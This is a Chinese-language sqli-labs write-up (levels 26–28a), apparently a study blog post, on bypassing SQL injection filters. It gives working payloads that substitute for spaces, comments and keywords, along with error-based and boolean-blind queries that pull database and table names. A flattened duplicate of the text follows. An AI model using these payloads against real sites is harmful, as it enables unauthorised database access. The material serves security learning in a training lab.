SQLi-labs学习sql注入(六)
字数 1093 2025-09-01 11:25:54

SQL注入进阶:绕过过滤技术详解

环境准备

  • 操作系统:Windows 7
  • 部署工具:phpstudy2018
  • 测试平台:sqli-labs

第26关:空格和注释过滤绕过

注入点判断

  • ?id=1' → 页面报错
  • ?id=1" → 页面正常,确定为单引号闭合
  • 双引号不闭合原因:MySQL发生隐式类型转换,只取了数字1而忽略了双引号

过滤规则

  • 过滤内容:空格、注释、or/and
  • 绕过方法:
    • 逻辑运算符:||代替or&&代替and
    • 报错注入中空格较少,可使用报错注入

有效Payload

?id=1' %26%26 updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1

关键点说明

  1. 逻辑运算符可以全部使用||&&,也可以混合使用
  2. 使用&&时必须URL编码为%26%26
  3. 末尾的||'1'='1用于闭合原始SQL中的单引号

URL编码原理

  1. URL不允许特殊字符,浏览器会自动将&编码为%26
  2. HTTP协议中&用于分割参数
  3. 直接使用&&会导致参数解析错误
  4. 使用%26%26能确保被正确解码为&&

第26a关:空格和逻辑运算符过滤

绕过技术

  • 空格替代:%0a(换行符)、%09(制表符)
  • 逻辑运算符:&&代替and||代替or

布尔盲注Payload

?id=1'%0a%26%26%0a'1'='1  // 正常显示
?id=1'%0a%26%26%0a'1'='2  // 异常显示

数据库名猜测

?id=1'%0a%26%26%0asubstr(database(),1,1)='s'%0a%26%26%0a'1'='1

第27关:union和select过滤

报错注入Payload

?id=1' and%0aupdatexml(1,concat(0x7e,database(),0x7e),1) and 'a

表名获取

?id=1'%0aand%0aupdatexml(1,concat(0x7e,(SELect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema='security'),0x7e),1)%0aand 'a

第27a关:双引号闭合

布尔盲注Payload

?id=1"%0a and %0asubstr(database(),1,1)='s' %0a and %0a "1"="1

第28关:union select和空格过滤

原始SQL

SELECT * FROM users WHERE id=('$id') LIMIT 0,1

双写绕过Payload

?id=0')uniunion%0aselecton%0aselect%0a1,database(),%0a('1'='1

关键点解析

  1. 0使id条件不成立
  2. uniunion%0aselecton%0aselect被过滤后剩下union select
  3. 第三个参数('1'='1用于闭合原始SQL

第28a关:单引号闭合原理

注入点判断

?id=1    // 正常
?id=1'   // 异常
?id=1"   // 正常
?id=1')or('  // 正常

单引号转义机制

  1. 两个单引号''
    • MySQL将连续两个单引号转义为一个单引号字符
    • 语法正确但会导致类型转换警告
  2. 一个单引号'
    • 缺少字符串结束标记,导致语法错误

总结

常见过滤绕过技术

  1. 空格过滤:使用%0a%09等控制字符
  2. 注释过滤:使用逻辑闭合代替注释
  3. 关键字过滤:
    • 大小写混合:SELect
    • 双写绕过:uniunion selecton select
  4. 逻辑运算符过滤:&&||替代

重要原则

  1. 理解服务器处理流程:参数解析 → URL解码 → SQL执行
  2. 闭合原则:确保注入后的SQL语法正确
  3. 编码原则:特殊字符必须正确编码

测试方法论

  1. 先判断注入点类型(单/双引号,是否带括号)
  2. 测试过滤规则(哪些字符/关键字被过滤)
  3. 选择合适的绕过技术
  4. 逐步构造有效Payload
SQL注入进阶:绕过过滤技术详解 环境准备 操作系统:Windows 7 部署工具:phpstudy2018 测试平台:sqli-labs 第26关:空格和注释过滤绕过 注入点判断 ?id=1' → 页面报错 ?id=1" → 页面正常,确定为单引号闭合 双引号不闭合原因:MySQL发生隐式类型转换,只取了数字1而忽略了双引号 过滤规则 过滤内容:空格、注释、or/and 绕过方法: 逻辑运算符: || 代替 or , && 代替 and 报错注入中空格较少,可使用报错注入 有效Payload 关键点说明 逻辑运算符可以全部使用 || 或 && ,也可以混合使用 使用 && 时必须URL编码为 %26%26 末尾的 ||'1'='1 用于闭合原始SQL中的单引号 URL编码原理 URL不允许特殊字符,浏览器会自动将 & 编码为 %26 HTTP协议中 & 用于分割参数 直接使用 && 会导致参数解析错误 使用 %26%26 能确保被正确解码为 && 第26a关:空格和逻辑运算符过滤 绕过技术 空格替代: %0a (换行符)、 %09 (制表符) 逻辑运算符: && 代替 and , || 代替 or 布尔盲注Payload 数据库名猜测 第27关:union和select过滤 报错注入Payload 表名获取 第27a关:双引号闭合 布尔盲注Payload 第28关:union select和空格过滤 原始SQL 双写绕过Payload 关键点解析 0 使id条件不成立 uniunion%0aselecton%0aselect 被过滤后剩下 union select 第三个参数 ('1'='1 用于闭合原始SQL 第28a关:单引号闭合原理 注入点判断 单引号转义机制 两个单引号 '' : MySQL将连续两个单引号转义为一个单引号字符 语法正确但会导致类型转换警告 一个单引号 ' : 缺少字符串结束标记,导致语法错误 总结 常见过滤绕过技术 空格过滤:使用 %0a 、 %09 等控制字符 注释过滤:使用逻辑闭合代替注释 关键字过滤: 大小写混合: SELect 双写绕过: uniunion selecton select 逻辑运算符过滤: && 、 || 替代 重要原则 理解服务器处理流程:参数解析 → URL解码 → SQL执行 闭合原则:确保注入后的SQL语法正确 编码原则:特殊字符必须正确编码 测试方法论 先判断注入点类型(单/双引号,是否带括号) 测试过滤规则(哪些字符/关键字被过滤) 选择合适的绕过技术 逐步构造有效Payload